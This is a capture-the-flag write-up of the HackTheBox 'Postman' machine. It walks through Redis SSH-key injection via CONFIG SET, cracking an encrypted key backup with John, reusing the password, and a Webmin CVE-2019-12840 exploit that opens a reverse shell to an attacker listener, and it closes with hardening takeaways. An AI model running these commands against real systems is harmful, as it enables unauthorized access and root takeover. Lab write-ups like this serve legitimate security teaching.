← Back to writeups

Postman — Unauthenticated Redis to Webmin RCE

Introduction

Postman is an Easy Linux machine on HackTheBox that illustrates two common real-world misconfigurations: a Redis instance exposed to the internet without authentication, and an outdated Webmin panel running as root. The attack chain is clean and teaches essential skills — abusing Redis write access, cracking encrypted SSH keys with John the Ripper, and understanding how CSRF protections can block manual exploits.

This machine is a great introduction to service-level attacks beyond web apps. If you’ve never touched Redis from an attacker’s perspective, this box will change how you think about exposed databases.


Attack Chain Summary

Nmap → Ports 22, 80, 6379 (Redis), 10000 (Webmin 1.910)

Redis — no auth, write access

SSH key injection via Redis CONFIG SET → shell as redis

LinPEAS → /opt/id_rsa.bak (encrypted private key)

john + rockyou → passphrase: computer2008

su Matt → user flag

Webmin 1.910 — CVE-2019-12840 (authenticated RCE)

Root shell

Reconnaissance

Starting with a full TCP SYN scan to enumerate open ports and service versions:

sudo nmap -sS -sV -sC 10.129.2.1
  • -sS — SYN scan (stealth, faster than a full TCP connect)
  • -sV — service version detection
  • -sC — run default NSE scripts (banner grabbing, common checks)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http    Apache httpd 2.4.29 (Ubuntu)
10000/tcp open  http    MiniServ/1.910 (Webmin)

A full port scan with naabu reveals a fourth port:

naabu -host 10.129.2.1 -p 0-65535
10.129.2.1:22
10.129.2.1:80
10.129.2.1:10000
10.129.2.1:6379   ← Redis

What each port means:

PortServiceWhy it matters
22SSHPossible foothold if we get credentials
80ApacheWeb application to enumerate
6379RedisIn-memory database — dangerous if unauthenticated
10000Webmin 1.910Admin panel running as root

Enumeration

Port 80 — Web

Directory fuzzing with ffuf:

ffuf -u http://10.129.2.1/FUZZ \
     -w /path/to/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
     -mc 200,301,302,403 -t 50
  • -mc 200,301,302,403 — only show these HTTP status codes
  • -t 50 — 50 threads for speed

Result: only static directories (images, upload, fonts, js, css). The site is a simple personal page with no login, no CMS, nothing exploitable. Virtual host fuzzing also returns nothing.

Port 10000 — Webmin

Webmin is a web-based system administration interface for Linux. Version 1.910 is shown in the HTTP response headers. A login page is present but we have no credentials yet.

Attempting CVE-2019-15107 (unauthenticated password reset bypass) fails — the password change feature is disabled on this installation.

Port 6379 — Redis

This is where the box opens up. Redis is an in-memory key-value store typically used as a cache or message broker. The critical question: is authentication required?

redis-cli -h postman.htb INFO server

No password prompt — the server responds immediately. Checking the config confirms:

redis-cli -h postman.htb CONFIG GET requirepass
# 1) "requirepass"
# 2) ""   ← empty = no password

Also notable:

redis-cli -h postman.htb CONFIG GET dir
# 1) "dir"
# 2) "/var/lib/redis"   ← Redis data directory

Redis is bound to 0.0.0.0 (all interfaces), unauthenticated, and running as the redis system user. This is a well-known misconfiguration that allows writing arbitrary files to disk.


Foothold — Redis SSH Key Injection

Redis has a feature called CONFIG SET that allows changing its configuration at runtime — including the working directory (dir) and the filename it uses when saving data to disk (dbfilename). If Redis runs as a user with a home directory, we can write our SSH public key into its authorized_keys file.

Step 1 — Generate an SSH key pair on our machine:

ssh-keygen -t rsa -b 2048 -f ./id_rsa -N ""
  • -t rsa — RSA algorithm
  • -b 2048 — 2048-bit key
  • -f ./id_rsa — output filename
  • -N "" — no passphrase (so we don’t need one to use it)

Step 2 — Push the public key into Redis as a value:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > payload.txt
cat payload.txt | redis-cli -h 10.129.2.1 -x set ssh_key

The extra newlines are important — they pad the Redis dump file so the SSH daemon can parse the public key correctly despite the surrounding Redis binary data.

Step 3 — Point Redis to write its dump file as authorized_keys:

redis-cli -h 10.129.2.1
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE

Redis will now flush its in-memory data (including our SSH key) into /var/lib/redis/.ssh/authorized_keys.

Step 4 — Connect via SSH:

chmod 600 id_rsa
ssh -i id_rsa redis@10.129.2.1

We land as the redis user.


Lateral Movement — redis → Matt

Running LinPEAS reveals an interesting file:

-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 /opt/id_rsa.bak

This is an encrypted RSA private key belonging to user Matt. The fact that it’s world-readable is a misconfiguration — the owner likely left it there as a backup and forgot about it.

The key header shows it’s encrypted:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
...

We need to crack the passphrase. Copy the key to our machine and use John the Ripper:

# Convert the SSH private key to a format John can crack
python3 john2ssh.py id_rsa.bak > ssh.hash

# Run dictionary attack with rockyou
john --wordlist=/path/to/rockyou.txt ssh.hash

John finds the passphrase almost immediately:

computer2008     (id_rsa.bak)

Attempting to SSH directly with this key fails (the key format is invalid as a standalone auth method), but we can use the password credential instead. From our redis shell, we switch users:

su Matt
# Password: computer2008
Matt@Postman:/tmp$ cat /home/Matt/user.txt
[redacted]

Privilege Escalation — CVE-2019-12840 (Webmin RCE)

Webmin 1.910 is vulnerable to CVE-2019-12840, an authenticated remote code execution vulnerability in the Package Updates module. When a user with package update permissions requests an update, Webmin passes the package name directly to a shell command without sanitization. An attacker can inject arbitrary commands into this parameter.

Why does this give root? Webmin itself runs as root. Any code it executes inherits root privileges.

Requirements:

  • Valid Webmin credentials (Matt : computer2008 — credential reuse)
  • Matt must have package update permissions in Webmin

We use the public PoC:

python3 exploit.py \
  -u https://10.129.2.1 \
  -p 10000 \
  -U Matt \
  -P computer2008 \
  -lhost 10.10.14.165 \
  -lport 5555

With a netcat listener running:

ncat -lvnp 5555
Ncat: Connection from 10.129.2.1:41712.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
[redacted]

Why the manual Burp exploit failed

When attempting to replicate the exploit manually in Burp Suite, Webmin returned a CSRF security warning:

Warning! Webmin has detected that the program was linked to from an unknown URL

Webmin validates the Referer header against its own origin. In the manual request, the Referer was set to:

Referer: 10.129.2.1:10000/package-updates/?xnavigation=1

Since Webmin runs over HTTPS, it expects:

Referer: https://10.129.2.1:10000/package-updates/?xnavigation=1

The missing https:// scheme caused Webmin to reject the request as a potential CSRF attack. The automated script builds this header correctly. A one-character difference between success and failure — a good reminder to always check security headers when a manual exploit fails while an automated one works.


Flags

User flag : [redacted]
Root flag : [redacted]

Key Takeaways

  • Redis exposed without authentication is critical. If Redis binds to 0.0.0.0 with no password, an attacker can write arbitrary files as the redis OS user. Always bind Redis to 127.0.0.1 and enable requirepass.

  • Backup files left world-readable are a goldmine. /opt/id_rsa.bak was readable by everyone. Sensitive files — especially private keys — should never be accessible outside their intended owner.

  • Credential reuse is everywhere. The same password cracked from an SSH key backup also worked on Webmin. Always check credentials against all services.

  • Automated exploits handle HTTP details you might miss. When a manual exploit fails but an automated one works, compare the exact HTTP requests. Here, the missing https:// in the Referer header was the entire difference.

  • Webmin running as root amplifies any RCE to full compromise. An authenticated user with limited permissions can become root if any Webmin module passes user input unsanitized to a shell command.


Resources